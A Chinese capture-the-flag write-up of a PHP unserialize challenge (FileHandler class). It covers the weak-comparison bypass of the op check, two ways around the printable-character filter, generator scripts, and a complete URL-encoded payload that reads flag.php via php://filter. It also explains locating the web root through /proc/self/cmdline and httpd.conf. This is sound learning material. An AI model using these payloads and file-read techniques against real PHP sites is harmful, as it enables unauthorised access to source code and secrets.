0x00
前言
…有一说一,赵总的BUUCTF
上的这道题目并没有复现到精髓。其实感觉出题人的题目本身没有那么简单的,只不过非预期实在是太简单惹。
涉及知识点:
1.php中protected变量反序列化的小Trick
2.获取任意文件读取权限后的文件绝对路径的查找
0x01
源码
直接进入题目就可以看到源码了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| <?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op; protected $filename; protected $content;
function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); }
public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } }
private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } }
private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; }
private function output($s) { echo "[Result]: <br>"; echo $s; }
function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }
}
function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; }
if(isset($_GET{'str'})) {
$str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); }
}
|
0x02
分析
1.第一步-弱类型比较
大致讲一下比赛时候的分析过程吧。我吃完饭回来,队友突然给我来了一句__construct
构造函数可以调用process
函数,我迷惑了一秒,我之前一直以为这是一道反序列化的。然后赶紧查了一下资料,还好反序列化可以操纵的魔术方法中没有__construct
,记录一下。
分析源码发现可以调用的魔术方法只有__destruct
。而$op=2
可以读文件,$op=1
可以写文件,但是它把$content
设置为0说明写这个操作是绝对实用不了了。那么我们把目光放在读文件上。
1 2 3 4 5 6 7
| if($this->op === "2") $this->op = "1";
else if($this->op == "2") { $res = $this->read(); $this->output($res); }
|
这个放在这里应该没有人不会绕过吧。直接弱类型比较设置$op=2
就完事了。然后本来以为可以直接构造pop
链开始读文件的。但是遇到了下面的函数:
1 2 3 4 5 6
| function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; }
|
本来这里是没有什么问题的,但是因为你的变量是protected
类型的,所以会产生%00
字符,从而导致绕过失败。
2.第二步-绕过is_valid()
这里其实有两种绕过方法,这里都讲一下吧。
1.可以将protected
类型的变量设置为public
类型。然后就可以轻松绕过了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php class FileHandler {
public $op = 2; public $filename = ""; public $content = "Hello";
}
$a = new FileHandler(); $a->filename = "php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php"; $b = serialize($a); echo $b;
?>
|
2.反序列化之前会做逐字判断,ascii必须>=32或<=125。由于这里是protected
类型,需要加上%00进行标识
但是%会被过滤,就用十六进制\00和S来绕过。
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php class FileHandler {
protected $op = 2; protected $filename = "php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php"; protected $content = "Hello";
}
$a = new FileHandler(); $b = urlencode(serialize($a)); echo $b; ?>
|
然后将payload
中的%00
替换为\00
,s
替换为S
就行了。替换后的payload
如下:
1
| O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%22\00%2A\00op%22%3Bi%3A2%3BS%3A11%3A%22\00%2A\00filename%22%3Bs%3A71%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3D%2Fvar%2Fwww%2Fhtml%2Fflag.php%22%3BS%3A10%3A%22\00%2A\00content%22%3Bs%3A5%3A%22Hello%22%3B%7D
|
然后到这里,BUUCTF
上的题目就可以直接读取flag
了。
但是到这里网鼎杯的题却没有出来,当时没有截图,不过有幸找到了WriteUp
。这里分析一下。
3.获取目标的绝对路径
网鼎杯中直接用相对路径读取发现会没有回显。猜测后端中修改了include
函数的路径,也不对啊,非预期就是读同一级的flag.php
啊?搞不明白好吧。反正使用绝对路径是绝对没有问题的。那么有了任意文件读取权限怎么获取绝对路径呢?
首先可以读取/proc/self/cmdline
这个文件。可以获得如下结果。
然后读取配置文件/web/config/httpd.conf
。获得网站的绝对路径。
然后读取/web/html/flag.php
就好了。
这里BUU
就不要尝试,因为你发现,BUU
使用的是apache2
。根目录就是我们熟悉的/var/www/html
。
0x03
结语
还行,通过这道题目学到了很多。尤其是S
和\00
绕过。学WEB
的师傅可以找我玩啊,可以一起学习一起进步的–>_<–。
QQ:550532788
0x04
参考
http://www.mamicode.com/info-detail-3004276.html